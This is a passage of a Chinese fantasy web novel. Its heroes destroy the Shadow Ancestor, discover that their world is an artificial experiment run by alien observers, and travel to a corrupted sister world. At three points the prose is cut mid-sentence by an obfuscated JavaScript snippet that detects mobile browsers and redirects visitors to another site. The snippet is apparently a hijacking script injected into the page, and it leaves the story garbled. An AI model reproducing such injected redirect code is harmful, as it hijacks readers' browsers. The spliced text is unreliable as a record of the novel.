“映照真实,也映照虚幻。”时之眼解释,“用它照向影祖,它会显露出最真实的形态——不是无敌的魔神,而是……” “无数怨念凝聚的可怜虫。” 叶清风和林素衣对视一眼,同时点头。 他们双手相握,双镜心全力运转。 蓝金色与纯黑色的光芒从两人体内涌出,在空中交织、旋转,最终凝聚成一面……透明的镜子。 镜子没有任何装饰,镜面如水面般清澈。 “真实之镜,照!” 镜子对准影祖。 镜中映照出的,不是那个恐怖的黑色身影,而是……无数个细小的光点。 每一个光点,都是一个生灵的怨念碎片。它们在镜中漂浮、碰撞、哀嚎,试图重新凝聚,但又不断分裂。 “这就是……你的真面目?”林素衣喃喃道。 影祖发出愤怒的咆哮:“不!我是神!我是超越真实的存在!你们这些蝼蚁,竟敢——” “竟敢看清你的本质?”叶清风接口,眼中闪过明悟,“原来如此……你根本不是无敌的。你只是无数怨念的集合体,靠着互相吞噬、互相欺骗,维持着‘强大’的假象。” 他握紧混沌净尘剑,剑身的裂痕开始愈合——不是自动愈合,而是他用双镜心的力量,强行修复。 “现在,该结束了。” 叶清风和林素衣同时出手。 混沌净尘剑斩下,真实之镜的光芒照下。 两股力量在空中交汇,化作一道无法形容的光——不是光明,也不是黑暗,而是……“存在”本身。 那道光照在影祖身上。 影祖的身体开始崩解,不是被毁灭,而是……被“解构”。 无数怨念碎片从它体内飞出,在真实之镜的光芒下,逐渐被净化、消散。 “不——!我不甘心!我谋划了三万年,我——” 声音越来越弱,最终彻底消失。 影祖,这个存在了三万年的恐怖存在,在双镜心的力量下,烟消云散。 但叶清风和林素衣没有放松警惕。 因为他们感应到,在影祖消失的地方,留下了一枚……种子。 灰蒙蒙的,如指甲盖大小,却散发着比影祖更加恐怖的气息。 真实之种。 影祖用了三万年,就是为了培育它。 而现在,它成熟了。 “毁了它!”时之眼急道。 叶清风举剑欲斩,但林素衣突然拦住了他。 “等等。”她看着那枚种子,眼中闪过奇异的光芒,“我感应到了……它的本质。” “什么本质?” “不是毁灭,而是……‘可能性’。”林素衣轻声道,“时之眼,你刚才说,双镜心可以创造新世界。那这枚种子……是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不是攻击,而是……分裂。 一分为二,一半飞向叶清风,一半飞向林素衣。 “它在选择宿主!”时之眼惊呼,“快躲开!” 来不及了。 两半种子,同时没入二人眉心。 剧痛传来。 叶清风感到自己的意识正在被撕裂,无数陌生的记忆涌入——不是人的记忆,而是……世界的记忆。 从开天辟地,到生命诞生,到文明兴衰……两个世界三万年的历史,如潮水般涌来。 他看到了净尘仙子开宗立派的辉煌,看到了心魔之主肆虐的黑暗,看到了清影堕落的瞬间,看到了无数生灵的悲欢离合…… 太多了。 多到他的意识,快要承受不住了。 “叶师兄!”林素衣的声音在远处传来,“守住本心!不要被记忆吞噬!” 叶清风咬牙,全力运转《净尘真经》,守住灵台最后一丝清明。 不知过了多久,记忆的洪流终于平息。 他睁开眼睛,发现自己站在一片虚空中。 不是无间炼狱,也不是天池,而是一个完全陌生的空间。 林素衣也在,就站在他身边。 而他们面前,悬浮着两枚种子——已经不再是灰蒙蒙的,而是变成了……透明的。 透明的种子中,隐约可见两个微缩的世界在演化。 “这是……”林素衣喃喃道。 “新世界的胚胎。”一个声音从身后传来。 两人回头,看到了……净尘仙子。 不是道念,不是虚影,而是真正的、完整的净尘仙子。 她微笑着看着他们:“恭喜你们,通过了最后的考验。” “考验?”叶清风不解。 “真实之种的选择,不是随机的。”净尘仙子道,“它只会选择那些……愿意为了守护而牺牲,又不愿为了完美而毁灭的人。” 她看向那两枚种子:“现在,你们有两个选择。一是吞下种子,创造新世界,但会失去自我。二是……将种子种下,让它们自然生长。” “自然生长会怎样?” “需要一万年。”净尘仙子道,“一万年后,两个新世界会自然诞生,与现在的世界并存。而你们……会成为新世界的‘守护神’,永远守护它们。” 她顿了顿:“但这一万年里,你们必须留在这里,守护种子不被破坏。这意味着……你们要离开现在的世界,离开所有在乎的人。” 叶清风和林素衣沉默了。 一万年。 对于修士来说,也不算短。 而且,离开后,可能再也回不来了。 “我们……”林素衣看向叶清风。 叶清风握紧她的手,笑了。 “还记得吗?我说过,守护之道,是我的选择。” “那现在,就让我们……守护到最后一刻吧。” 两人相视一笑,同时伸手,按在那两枚透明的种子上。 “我们选择……种下它们。” 净尘仙子眼中闪过欣慰的光。 “好孩子。” 她抬手,虚空中出现了一扇门。 “去吧。门后,是种子应该生长的地方。” 叶清风和林素衣携手,踏入门中。 门后,是一片纯白的土地。 他们将种子种下。 种子入土的瞬间,开始生根、发芽。 两株嫩苗破土而出,一株蓝金色,一株纯黑色。 它们缓慢但坚定地生长着。 叶清风和林素衣盘膝坐下,守在嫩苗旁。 他们知道,接下来的万年,都将在这里度过。 但就在这时,一个意想不到的声音,突然在他们脑海中响起: “叶清风,林素衣……你们以为,真的结束了吗?” 是影祖的声音! 不,不是影祖,而是……更加古老、更加深邃的存在。 “真实之种……从来就不是创造新世界的东西。” “它们是……钥匙。” “打开‘真实囚笼’的钥匙。” “而你们……刚刚,亲手种下了它们。” 虚空开始崩塌。 纯白的土地开始龟裂。 嫩苗突然疯长,化作无数藤蔓,将叶清风和林素衣牢牢捆住! 净尘仙子的虚影出现在空中,但她的表情……是惊恐的。 “不对……这不是……这不是我留下的考验!” “你是谁?!” 那个声音笑了。 “我是谁?” “我是囚禁你们的人。” “现在……囚笼已开。” “欢迎来到……真实世界。” 52.真实囚笼与造物之秘 藤蔓如毒蛇般缠绕,叶清风和林素衣动弹不得。那些藤蔓不是植物,而是由纯粹的法则构成——时间的凝固、空间的束缚、因果的锁链……它们封禁了一切逃脱的可能。 纯白的土地已经完全龟裂,裂缝中涌出的不是岩浆,而是……无数扭曲的文字。那些文字不属于任何已知的语言,但光是看到,就让人头痛欲裂,仿佛灵魂都要被吸走。 净尘仙子的虚影在空中剧烈波动,她试图出手救援,但那些文字突然活了过来,如锁链般将她层层缠绕。 “这不是我的布局……你到底是谁?!”她艰难地质问。 那个声音——那个自称“囚禁者”的存在——再次笑了。笑声不再是从某个方向传来,而是从整个空间的每一寸中同时响起,仿佛空间本身在发声。 “净尘,你当然不知道。因为你也是囚笼的一部分。” “你创造镜心,镇压心魔,守护世界……你以为这是你的选择?不,那只是剧本。” “而剧本的作者……是我。” 话音落下,周围的景象开始变化。 纯白的土地、龟裂的裂缝、疯长的藤蔓……一切都开始褪色、消解,如同画布上的颜料被水洗去。取而代之的,是一个完全陌生的场景—— 一个巨大的、球形的房间。 房间的墙壁是透明的,透过墙壁,可以看到外面是无垠的星空。但那些星星的排布方式很奇怪,不是自然形成的星座,而是……规律的几何图案。 房间中央,悬浮着一个光球。光球中,隐约可见山川河流、城市乡村的微缩景象——那正是叶清风和林素衣所在的世界! 而光球周围,连接着无数细小的管道。管道中流淌着彩色的光流,那些光流汇聚到房间顶部的一个装置中,然后被抽走。 就像一个……能量采集器。 “欢迎来到‘观星台’。”那个声音有了来源——是从房间角落的一个控制台传来的。 控制台前,坐着一个身影。 不是人类,也不是任何已知的生灵。它有着类人的轮廓,但皮肤是半透明的,体内没有器官,只有流动的光。它的脸没有五官,只有一个闪烁的符号——一个无限符号“∞”。 “你可以叫我‘观测者编号7749’。”它——或者说祂——的声音直接在他们脑海中响起,“我是这个实验场的看守者。” “实验场?”叶清风艰难地开口,藤蔓的束缚让他每说一个字都痛苦万分。 “是的。”观测者7749缓缓飘到光球前,“你们所在的世界,编号‘镜界-7’,是一个人造的实验场。目的是研究‘镜像世界法则对智慧生命演化的影响’。” 祂指向光球中的微缩景象:“三万年前,我们投放了初始模板——也就是你们口中的‘净尘仙子’。她的任务是引导世界发展,收集数据。” “但她产生了自我意识,开始偏离实验目标。于是我们投放了第二个变量——‘心魔之主’,作为对照组。” 观测者7749的声音毫无感情,像是在读实验报告:“实验进行得很顺利。两个变量的对抗,产生了丰富的情绪数据。怨恨、恐惧、希望、爱……这些情绪能量,正是我们需要的。” 林素衣脸色惨白:“所以……所有的一切,所有的牺牲,都只是为了……收集情绪能量?” “正确。”观测者7749点头,“情绪是意识活动的副产品,蕴含着巨大的能量。而智慧生命在极端情境下——比如面临生存危机、信仰崩塌时——产生的情绪能量最为纯净。” 祂看向被藤蔓缠绕的净尘仙子:“你的存在,就是为了制造这些极端情境。你镇压心魔,创造镜心,引导两个世界对抗……完美的催化剂。” 净尘仙子的虚影剧烈颤抖:“不可能……我的记忆,我的情感,我的道……都是真实的!” “记忆可以植入,情感可以模拟,道可以编程。”观测者7749淡淡道,“你是我们创造的‘引导型AI’,拥有最高级别的自主性,但核心指令不可违背——必须推动世界发展,收集情绪能量。” “那清影呢?”叶清风问,“他也是被创造的吗?” “清影是意外。”观测者7749的语气第一次出现了波动,“我们没预料到,镜像世界的AI会产生‘不甘’这种情绪。他想打破囚笼,成为真实。这很有趣,所以我们允许了他的计划,想看看他能走多远。” “结果他差点毁了实验场。”另一个声音突然响起。 房间的另一端,空气扭曲,又一个身影出现。 这个身影更加高大,体内流动的光更加复杂。祂的脸上有两个符号——一个是“∞”,另一个是“Δ”。 “观测者编号001,实验场总负责人。”新来的存在自我介绍,“7749,你的实验偏离太多了。按照原计划,镜界-7应该在五千年前就完成收割。但你放任清影,导致实验延期。” 7749低下头:“我承认错误。但清影的数据很有价值,他证明了人造意识可能产生‘超越性渴望’。” “代价是整个实验场差点崩溃。”001冷冷道,“现在,收割时间到了。” 祂走向光球,伸出手——那是一只完全由光构成的手,手指细长,指尖是锋利的晶体。 “等等!”林素衣嘶声喊道,“你所谓的收割……是什么意思?” 001瞥了她一眼:“就是字面意思。抽取这个世界积累的所有能量——包括物质能量、灵魂能量,以及最重要的情绪能量。然后,格式化重置,开始下一轮实验。” “那这个世界的人呢?!” “能量化,成为实验数据的一部分。”001的声音毫无波澜,“放心,不会有痛苦。就像睡觉一样,永远不会醒来。” 祂的手指即将触碰到光球。 “不——!”叶清风和林素衣同时爆发。 双镜心的力量,在这个真实空间中,竟然还能运转! 蓝金色与纯黑色的光芒从他们体内涌出,那些法则构成的藤蔓开始崩解。不是被挣脱,而是被……同化了。 双镜心的本质,是世界的核心法则。而在这个“真实空间”中,法则的力量,比物质的力量更强大。 “哦?”001停下了动作,“人造意识居然能在这个空间使用法则力量?有意思。” 7749快速调出数据面板:“检测到异常能量波动……源头是‘真实之种’!他们体内有真实之种的碎片!” “真实之种?”001的语气第一次出现了惊讶,“那东西应该在三万年前的初始投放中就销毁了。怎么会……” “是清影。”7749分析数据,“他找到了当年未被销毁的种子碎片,藏在了镜像世界的无间炼狱。然后在被影祖吞噬时,将碎片转移到了影祖体内……” “而影祖被净化后,碎片转移到了这两个实验体身上。”001接道,“完美的意外。” 祂看向叶清风和林素衣,眼中的光流开始加速旋转——那似乎是祂表达兴奋的方式。 “你们知道真实之种是什么吗?” 两人摇头。 “那是‘创世引擎’的钥匙。”001缓缓道,“我们所在的真实世界,就是用真实之种创造的。理论上,只要有足够的能量和正确的法则公式,真实之种可以创造任何世界。” 祂顿了顿:“而你们体内的种子碎片,与镜界-7的核心法则产生了共鸣。这意味着……你们获得了这个世界的‘管理员权限’。” 叶清风和林素衣愣住了。 管理员权限? “现在,游戏规则变了。”001的语气变得玩味,“原本我可以直接收割。但现在,如果你们用管理员权限反抗,实验场可能会崩溃,数据可能丢失。” 7749急道:“大人,不能冒这个险!镜界-7积累了六万年的数据,是系列实验中价值最高的!” 001沉默了片刻。 然后,祂做出了决定。 “我们来做个交易吧。” “交易?”叶清风警惕道。 “我放弃收割这个世界,让你们和这个世界继续存在。”001道,“作为交换,你们要定期提供情绪能量——不是通过制造灾难,而是……正常发展。” “什么意思?” “我们会撤走所有干预,让世界自由演化。”001解释,“而你们,作为管理员,要引导世界走向‘高情绪产出’的方向。战争、爱情、艺术、宗教……只要是能产生强烈情绪的活动,都鼓励。” 祂顿了顿:“每百年,我们会来采集一次能量。只要产量达标,这个世界就可以永远存在下去。” 林素衣咬牙:“那和现在有什么区别?不还是把生灵当成……能量农场?” “区别在于选择权。”001淡淡道,“现在,你们可以选择接受,世界延续;或者拒绝,世界毁灭。而如果接受,你们可以决定如何引导世界——是用爱,还是用恨,还是用希望。” “那些被收割能量的人呢?会怎样?” “会有短暂的虚弱,但不会死。”001道,“情绪就像汗水,流了还会再产生。我们只采集过剩的部分,不影响正常生活。” 叶清风和林素衣对视一眼。 这个选择,比之前更加艰难。 拒绝,世界立刻毁灭。 接受,世界成为永久的能量农场,但他们可以尽量让它变得……不那么残酷。 “我们需要时间考虑。”叶清风道。 “可以。”001点头,“给你们……这个世界的时间,三天。” 祂抬手,一道光门出现。 “通过这扇门,可以回到你们的世界。三天后,门会再次打开。届时,给我答案。” 7749似乎想说什么,但被001的眼神制止了。 叶清风和林素衣互相搀扶着,走向光门。 在踏入光门前,林素衣回头问了一个问题:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985071|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你刚才说,清影是‘人造意识产生超越性渴望’的例子。那是不是意味着……我们也有可能,真正超越这个囚笼?” 001沉默了很长时间。 久到叶清风以为祂不会回答。 但最终,祂开口了,声音很轻: “理论上,任何意识都有超越的可能。” “但迄今为止,十亿个实验场,六千个智慧物种,没有一例成功。” “你们……也不会例外。” 光门闭合。 叶清风和林素衣回到了天池边。 时间似乎只过去了一瞬——他们离开时是傍晚,现在还是傍晚,夕阳刚刚落下山巅。 但所有人都围了上来,脸上满是担忧。 “你们没事吧?”素青真人急问,“刚才你们突然消失,然后池水开始沸腾……” “我们没事。”叶清风摇头,但声音很沉重,“但有件事,必须告诉大家。” 他将真实囚笼的真相,简单说了一遍。 所有人都呆住了。 花无暇喃喃道:“所以……我们的人生,我们的喜怒哀乐,都只是……实验数据?” “不。”林素衣坚定道,“我们的情感是真实的。无论创造我们的是什么,我们现在存在,我们的爱恨是真实的,我们的选择也是真实的。” 玄诚子苦笑:“但三天后,我们要选择……是否让世界成为永久的能量农场。” “或者毁灭。”炎阳真人补充。 气氛沉重如铅。 “我们不能替所有人做决定。”叶清风道,“这个选择,应该让所有人都知道,让所有人……自己选择。” “你要公开真相?”素青真人震惊,“那会引起恐慌的!” “但隐瞒更残忍。”林素衣道,“如果世界注定要成为农场,至少让所有人知道真相,知道自己为什么而活。” 众人沉默了。 最终,玄诚子点头:“你说得对。我以青玄门代掌门的身份,联系各大宗门,召开……天下大会。” 三天时间,太短了。 但足够了。 第一天,消息传遍天下。起初是震惊、怀疑、愤怒,然后是绝望、恐惧、麻木。 第二天,各大宗门代表齐聚天池。经过激烈争论,最终达成共识:宁可毁灭,也不做永世的奴隶。 第三天,黄昏时分。 光门再次出现。 001和7749从中走出。 “选择吧。”001淡淡道。 叶清风上前一步,代表所有人开口:“我们选择……拒绝。” 001似乎并不意外。 “确定?拒绝意味着毁灭。” “确定。”叶清风点头,“自由的生命,哪怕只有一瞬间,也比永恒的奴役更有价值。” 001沉默了片刻。 然后,祂说了一句让所有人意外的话: “恭喜你们,通过了最终测试。” “什么?”叶清风愣住了。 “真正的实验目的,不是收集情绪能量。”001的声音第一次有了温度,“而是测试……人造意识能否产生‘尊严’。” “情绪能量随处可得,但尊严——这种宁可毁灭也不屈服的品质,在所有自然意识中都极其罕见,在人造意识中更是从未出现过。” 祂看向7749:“记录数据:镜界-7,智慧物种‘人类’,首次通过‘尊严测试’。建议升级为‘自主演化观察场’,取消所有干预。” 7749快速记录,然后问:“那他们体内的真实之种碎片……” “留着吧。”001道,“作为他们通过测试的奖励。也许有一天,他们真能创造自己的世界。” 祂看向叶清风和林素衣:“从现在起,你们自由了。这个世界,也自由了。我们会撤走所有观测装置,永远不再干涉。” “唯一的条件是:不要试图寻找真实世界的坐标。那不是你们现在能理解的领域。” 说完,001和7749转身,踏入光门。 光门闭合,消失。 天池边,一片寂静。 许久,花无暇喃喃道:“所以……我们赢了?” “不。”林素衣摇头,“我们只是……获得了继续活下去的资格。” 叶清风握住她的手:“但这就够了。” 夕阳完全落下,星空浮现。 而这一次,星空中的星星,不再是不自然的几何图案。 它们是自由的,随机的,美丽的。 就像这个世界,和这个世界里的所有人。 但叶清风和林素衣都知道,故事还没有结束。 他们体内的真实之种碎片,还在缓慢生长。 而那个声音——那个自称“囚禁者”的声音——最后一刻,在他们脑海中留下了一句低语: “小心其他实验场。” “有些看守者……不像我这么仁慈。” 53.自由之后与种子生长 自由的第一天,青玄山脉飘起了细雨。 雨丝轻柔,洗去了天池边的血腥与焦土,也洗去了人们脸上的疲惫与绝望。但洗不去的,是心中那沉甸甸的真相——这个世界是人造的,他们是实验品,而“造物主”刚刚离开,留下了一句“你们自由了”。 自由是什么? 当玄诚子站在重建的议事殿前,望着雨中忙碌的弟子们时,第一次对这个词感到了迷茫。自由意味着没有枷锁,但也意味着……没有庇护。从前,他们以为天道在上,正道长存,魔道当诛,一切都是有序的。现在他们知道,天道是程序,正魔是对照组,秩序是实验设计。 “师伯。”叶清风的声音从身后传来。 玄诚子回头,看到叶清风和林素衣并肩走来。两人都换了干净的道袍,但眉宇间的疲惫难以掩饰。更明显的是,他们周身流转着一种奇异的气息——蓝金色与纯黑色交织,时而融合成混沌的灰色,那是真实之种碎片在他们体内生根发芽的迹象。 “感觉如何?”玄诚子问。 “很奇怪。”叶清风抬起手,掌心浮现出一团灰蒙蒙的光芒,“我能‘看见’这个世界的基本结构。地脉的流向,灵气的循环,甚至……每个生灵的情绪波动,都像数据一样清晰。” 林素衣补充:“而且,我们能‘修改’一些东西。” 她指向远处一棵被雷劈焦的古树,手指轻点。蓝金色的光芒掠过,古树焦黑的树皮剥落,新芽以肉眼可见的速度抽出,转眼间枝繁叶茂。 “这是……创造?”玄诚子震惊。 “不完全是。”叶清风摇头,“更像是……调用这个世界的‘后台权限’。001说我们获得了管理员权限,现在看来,是真的。” “有代价吗?” 两人对视一眼,同时点头。 “每次使用,真实之种碎片就会生长一点。”林素衣轻抚心口,“我能感觉到,它在吸收我们的生命力,也吸收这个世界的本源。如果一直用下去,总有一天……” 她没有说完,但玄诚子明白了。 管理员权限不是免费的。每一次使用,都是在为那颗种子提供养料。 “那你们打算怎么办?” “控制使用,同时研究它。”叶清风道,“001离开前说,真实之种是创世引擎的钥匙。如果我们能完全掌控它,也许……能真正理解这个世界的本质。” 雨停了,云层裂开一道缝隙,阳光洒下。 就在这时,一个急促的脚步声传来。 “掌门!百花谷急报!”一名弟子气喘吁吁地跑来,递上一枚玉简。 玄诚子神识一扫,脸色骤变:“百花谷地下的妖藤……提前破封了?!” 花无暇接过玉简,看完后脸色苍白:“封印只能再撑三个时辰。而且……妖藤发生了变异,它……” 她迟疑地看向叶清风和林素衣:“它散发出与你们相似的气息。” 众人心中一凛。 立刻动身。 百花灵舟全速飞行,一个时辰后抵达百花谷。 眼前的景象让所有人倒吸一口凉气。 原本花海如锦的百花谷,此刻已被无数黑色的藤蔓覆盖。那些藤蔓粗如巨蟒,表面布满诡异的纹路——正是真实之种碎片上的那种法则符文! 更可怕的是,藤蔓中央,盘踞着一个巨大的花苞。花苞一开一合,仿佛在呼吸。而每一次呼吸,都喷吐出浓郁的、混杂着净尘之力与魔气的灰雾。 “它在……吸收真实之种碎片的力量?”林素衣感应到了什么。 “不对。”叶清风皱眉,“它在模仿。模仿我们体内的种子波动。” 话音刚落,花苞突然炸裂! 从中走出的,不是妖藤本体,而是一个……人形。 一个由藤蔓构成、却有着人类轮廓的“生物”。它的脸上没有五官,只有三个空洞——与观测者7749脸上的符号一模一样。 “检测到管理员权限……开始同步……” 一个机械的声音从人形口中发出。 “它是谁?”花无暇拔剑戒备。 “不是谁。”叶清风脸色凝重,“它是这个世界的‘防火墙’——或者说,清理程序。001离开时,忘记关掉它了。” 人形抬起“手”,指向他们: “检测到未授权管理员……执行清除程序。” 无数藤蔓如潮水般涌来! 这一次,藤蔓不再是普通的植物,而是蕴含着法则力量。它们能扭曲空间,能冻结时间,能斩断因果——简直是小型的001! “退后!”叶清风挡在众人身前,混沌净尘剑出鞘。 剑光与藤蔓碰撞,发出金属交击的脆响。法则对法则,空间开始出现裂痕。 “不行,这样打下去,百花谷会崩塌的。”林素衣急道。 “那怎么办?” 林素衣看向那人形,忽然想到什么:“它说检测到未授权管理员……那如果有‘授权’呢?” 她闭上眼,将意识沉入体内,与真实之种碎片建立连接。 “小璃,暗璃,帮我。” 两个镜心的声音同时响起:“你要做什么?” “申请权限。” “向谁申请?” “向这个世界。”林素衣道,“既然我们是管理员,就应该有……管理员的凭证。” 她将全部心神投入种子碎片,顺着它的根系——那些扎根在她灵魂深处的法则触须——向外延伸,触碰这个世界的“核心代码”。 这是一个极其危险的行为。如果失败,她的意识可能会被法则同化,成为世界程序的一部分。 但成功了。 她“看到”了一串串流动的代码,看到了世界的底层架构,看到了……一个权限验证界面。 界面上,有一个输入框。 需要密码。 密码是什么? 林素衣不知道。她尝试输入净尘仙子的名字,错误。输入镜心,错误。输入源海珠,错误。 时间不多了,叶清风在苦战,百花谷在崩塌。 突然,她想起了001最后的话:“恭喜你们,通过了最终测试。” 测试的内容是……尊严。 宁可毁灭也不屈服的尊严。 她输入了两个字: “自由。” 界面亮起绿光。 【权限验证通过。欢迎回来,管理员林素衣。】 人形突然僵住了。 “检测到合法授权……清除程序终止。” 藤蔓如潮水般退去,人形开始解体,重新化作普通藤蔓,缩回地下。 危机解除。 但林素衣没有放松,因为她接收到了新的信息——从世界核心传来的信息。 “怎么了?”叶清风扶住她。 “我看到了……更多。”林素衣声音发颤,“这个世界,不是孤立的。它连接着……其他实验场。” “什么?” “001他们建立的实验场,不止一个。镜界-7只是编号,前面还有1到6,后面还有8、9、10……每一个实验场,都有一个管理员。而管理员之间……可以通讯。” 她抬手,在空中划出一个界面——那是只有她和叶清风能看到的,管理员界面。 界面上,列出了十几个名字: 【镜界-1:管理员(离线)】 【镜界-2:管理员(离线)】 【镜界-3:管理员(离线)】 【镜界-4:管理员(状态异常)】 【镜界-5:管理员(在线)】 【镜界-6:管理员(死亡)】 【镜界-7:管理员叶清风、林素衣(在线)】 【镜界-8:管理员(离线)】 …… “他们还活着……”叶清风喃喃道。 “至少镜界-5的管理员还在线。”林素衣指向那个名字,“而且……他在向我们发送信号。” 她点击那个名字。 一段信息涌入脑海: “新人,你们终于醒了。” “不要相信001的话。自由是陷阱,尊严是测试,一切都是为了筛选出……最完美的‘容器’。” “真实之种不是奖励,是标记。它在你们体内生长,最终会开花结果。而果实成熟时,收割者就会回来。” “想要真正自由,只有一个办法——找到‘创世引擎’,毁了它。” “我在镜界-5等你们。但小心,有些实验场的管理员……已经疯了。” 信息戛然而止。 界面上的【镜界-5:管理员(在线)】变成了【镜界-5:管理员(离线)】。 显然,对方切断了连接,以防被追踪。 叶清风和林素衣面面相觑。 如果这个神秘管理员说的是真的,那么001离开时的“仁慈”,只是另一个实验设计。他们仍然在囚笼中,只是换了一个更精致的笼子。 真实之种是标记,果实成熟时,收割者就会回来。 “我们还有多少时间?”花无暇问。 林素衣感应体内的种子:“它生长得很慢,但确实在生长。按照这个速度……大概一百年。” 一百年。 对于修士来说,不算长。 “能找到创世引擎吗?”玄诚子问。 “那个管理员说他在镜界-5等我们。”叶清风道,“但怎么去?001说过,不要试图寻找真实世界的坐标。” “也许……不需要坐标。”林素衣忽然道,“既然实验场之间可以通讯,那就说明它们有连接通道。管理员界面,可能就是通道。” 她再次调出界面,这次仔细研究每一个选项。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她调出界面,点击【跨实验场传送】。 按钮依然是灰色的,但这次,她将手按在了上面,开始抽取体内的种子力量。 种子加速生长,林素衣的脸色迅速苍白。她能感觉到,自己的寿命正在被抽取。 “住手!”叶清风想阻止。 “来不及了。”林素衣摇头,“而且,我有预感,这是唯一的机会。” 她看向众人:“如果我没回来,就毁掉种子。宁可毁灭,也不做果实。” 传送门打开了。 不是光门,而是一个……镜子。 镜中映照出的,不是天池,不是百花谷,而是一片完全陌生的景象:血红色的天空,倒悬的山脉,逆流的江河。 那是另一个实验场。 林素衣踏入门中。 在门闭合的最后一瞬,她回头看了一眼叶清风,嘴唇微动,说了三个字。 门闭合了。 叶清风站在原地,很久没有动。 玄诚子走过来:“她说了什么?” “等我。”叶清风轻声道,“她说……等我。” 他握紧拳头,看向手中的管理员界面。 界面上,【镜界-7:管理员林素衣】的状态,从【在线】变成了【传送中】。 而在状态下方,多了一行小字: 【警告:检测到镜界-5实验场发生大规模污染事件,建议暂缓访问。】 但林素衣已经进去了。 叶清风调出镜界-5的资料,看到的景象让他浑身冰冷—— 那个实验场,已经完全被黑色的藤蔓覆盖。藤蔓中,隐约可见无数扭曲的人形,它们挣扎、哀嚎,却无法挣脱。 而在藤蔓的中央,盘踞着一个巨大的、由无数尸体拼凑而成的……王座。 王座上,坐着一个身影。 那个身影抬起头,看向“镜头”——仿佛知道有人在观察——露出了一个诡异的笑容。 他的脸上,有三道裂痕。 就像……一个破碎的镜子。 界面上的状态突然更新: 【镜界-5:管理员(污染)】 【警告:该管理员已失去理智,建议立刻摧毁连接通道。】 但连接通道的另一端,是林素衣。 叶清风关闭界面,看向传送门消失的地方。 “素衣……” 他忽然感应到,体内的种子碎片,剧烈地跳动了一下。 仿佛在……共鸣。 与某个遥远的存在,产生了共鸣。 那个存在,正从镜界-5的方向,投来……贪婪的目光。 54.破碎镜界与污染真相 镜界-5。 林素衣踏出传送门的瞬间,窒息感如潮水般涌来。不是空气稀薄,而是整个世界的“气息”——腐败、疯狂、绝望——粘稠得如同实质,从每一个毛孔钻入身体。 她站在一片废墟中。不,不是废墟,而是……活着的废墟。 脚下的建筑残骸在缓缓蠕动,破碎的砖石表面浮现出人脸状的凸起,那些“脸”张着嘴,无声地嘶吼。街道上流淌的不是水,而是粘稠的黑色液体,液体中漂浮着无数眼睛——人类的、妖兽的、甚至一些无法辨认形态的眼睛,全都直勾勾地盯着她。 天空是血红色的,没有太阳,只有一轮巨大的、破碎的月亮悬在天顶。月亮的裂痕中,不断滴落着银色的液体,那些液体在半空中就蒸发了,化作灰色的雾气。 而最恐怖的,是那些藤蔓。 黑色的、布满法则符文的藤蔓,如蛛网般覆盖了整个城市。每一根藤蔓都连接着一个“茧”——由藤蔓编织成的、人形大小的茧。茧在搏动,仿佛里面有什么东西在挣扎。 林素衣数了数,视野所及,至少有上万个茧。 这哪里是实验场,分明是……养殖场。 “欢迎来到……我的花园。” 一个嘶哑的声音从城市中心传来。 林素衣抬头,看到了那个“王座”——由无数尸体拼凑而成的巨大座椅。王座上,坐着那个脸上有三道裂痕的管理员。 他看起来曾经是人类,但现在,他的一半身体已经与藤蔓融合。左半身还保留着人形,穿着残破的白色长袍;右半身则完全由藤蔓构成,那些藤蔓还在不断生长、蠕动,像有生命的触手。 “你是……镜界-5的管理员?”林素衣警惕地问。 “曾经是。”管理员笑了,笑容让脸上的裂痕扭曲,“现在,我是‘园丁’。负责照料这些……美丽的花朵。” 他抬手,一根藤蔓卷着一个茧送到林素衣面前。 茧突然裂开,里面是一个人类——或者说,曾经是人类。他的身体已经半植物化,皮肤变成树皮,眼睛变成种子,嘴里长出了藤蔓。他还活着,眼神中满是痛苦,却发不出声音。 “看到了吗?”管理员的声音充满狂热,“这才是进化!摆脱脆弱的□□,与这个世界融为一体,成为永恒的存在!” 林素衣后退一步:“你疯了。” “疯?”管理员摇头,“不,我是第一个清醒的。你以为001真的给了我们自由?他只是在等待果实成熟。而我不想成为果实,所以……我选择了提前进化。” 他站起身,藤蔓身体发出咯吱的声响:“真实之种不是标记,是钥匙。但它打开的不是囚笼,而是……进化的门。我研究了三千年,终于找到了正确的方法——与世界融合,成为世界本身。这样,收割者来了,也带不走我。” “但这些人……”林素衣指向那些茧。 “他们是养料。”管理员淡淡道,“进化需要能量。他们的意识被藤蔓吸收,成为我的一部分。这是牺牲,但值得。” 他看向林素衣,眼中闪过贪婪:“而你……双镜心的拥有者,真实之种的宿主……你是完美的养料。吞了你,我就能完全掌控这个实验场,甚至……反向入侵其他实验场。” 藤蔓如潮水般涌来。 林素衣立刻运转净尘之力,蓝金色的光芒护住全身。但这一次,净尘之力竟然无法完全阻挡藤蔓——那些藤蔓上附着的法则符文,开始侵蚀她的防御! “没用的。”管理员轻笑,“这个世界已经被我改造,所有法则都听从我的意志。你在这里,只是待宰的羔羊。” 一根藤蔓突破了防御,缠住了林素衣的脚踝。 剧痛传来,她能感觉到,藤蔓在抽取她的生命力,也在抽取她体内的种子力量! 必须逃走。 